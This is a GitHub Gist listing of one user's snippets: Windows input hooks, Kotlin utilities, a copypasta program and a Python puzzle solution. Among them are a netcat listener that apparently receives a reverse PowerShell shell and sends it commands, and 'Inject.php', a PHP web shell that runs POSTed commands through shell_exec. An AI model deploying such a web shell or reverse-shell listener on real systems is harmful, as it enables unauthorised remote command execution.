Skip to content

Instantly share code, notes, and snippets.

downloadpizza / GlobalKeyboardLLHook.cs
Created April 25, 2024 16:10
A Global keyboard hook simplified for use outside of WinForms (still requires a Windows window of some sorts though)
using System.Runtime.InteropServices;
using SFML.Window;
namespace KH
this only works if called in a thread which also receives window updates
(for example if you call SFMLs RenderWindow.DispatchEvent's function,
downloadpizza / ClickLock.cs
Created November 15, 2021 12:43
A simple example to set and get ClickLockState
static bool GetClickClock()
const uint getMouseCl = 0x101E;
bool res = true;
uint time = 0;
if(!PInvoke.SystemParametersInfo(getMouseCl, time, ref res, 0))
throw new Win32Exception();
downloadpizza / CatalystUtil.kt
Created April 3, 2020 07:34
DownloadPizza's Catalyst stuff
package net.downloadpizza.cautil.matrix
typealias Matrix<T> = List<List<T>>
inline fun <T> readMatrix(height: Int, delimeter: String = " ", convert: (String) -> T): Matrix<T> =
List(height) { readLine()!!.split(delimeter).map(convert) }
fun readIntMatrix(height: Int, delimeter: String = " "): Matrix<Int> =
readMatrix(height, delimeter, String::toInt)
downloadpizza / mc.bin
Created March 18, 2020 17:36
some stuff i found on minecraft
downloadpizza / kira.c
Created December 16, 2019 16:13
Have I ever told you the tragedy of yoshikage kira the wise?
int main(void) {
char* copypasta = "\
My name is Yoshikage Kira. I'm 33 years old. My house is in the northeast section of Morioh, where all the villas are, and I am not married. I work as an employee for the Kame Yu department stores, and I get home every day by 8 PM at the latest. I don't smoke, but I occasionally drink.\n\
I'm in bed by 11 PM, and make sure I get eight hours of sleep, no matter what. After having a glass of warm milk and doing about twenty minutes of stretches before going to bed, I usually have no problems sleeping until morning. Just like a baby, I wake up without any fatigue or stress in the morning. I was told there were no issues at my last check-up.\n\
I'm trying to explain that I'm a person who wishes to live a very quiet life. I take care not to trouble myself with any enemies, like winning and losing, that would cause me to lose sleep at night. That is how I deal with society, and I know that is what brings me happiness. Although, if I were to fight I wouldn
downloadpizza /
Last active May 9, 2019 08:37
Read my description, this is a wrapper, which allows control c without killing the script
#!/usr/bin/env bash
trap t_exit INT
function t_exit() {
read -p "Exit? y/N: " ext
if [[ "y" = "$ext" ]];then
exit 1
downloadpizza /
Created May 9, 2019 08:35
A receiver for a reverse tcp powershell (--exit is to kill all PS instances if you put PS the conenctor in a loop)
#!/usr/bin/env bash
if [[ $1 = "--exit" ]]
echo "exiting..."
echo "ps powershell | kill"|nc -lp 8043
echo "done"
exit 1
(echo "echo \"connected to \$(whoami)\""&&cat)|nc -lp 8043
downloadpizza / Inject.php
Last active October 17, 2018 05:49
Private Hacking thing
<form method="post" action="">
<input type="text" name="cmd" placeholder="command..."></input>
<input type="submit"></input>
echo "$";
echo htmlspecialchars(shell_exec($_POST['cmd']));
downloadpizza /
Last active September 10, 2018 06:49
Eine Python Lösung für coding challenge 7
import requests
import json
def fsum(ls,rs):
for a in range(0,len(ls)):
for b in range(a, len(ls)):
for c in range(b, len(ls)):
for d in range(c, len(ls)):
if ls[a]+ls[b]+ls[c]+ls[d]==rs:
return [a,b,c,d]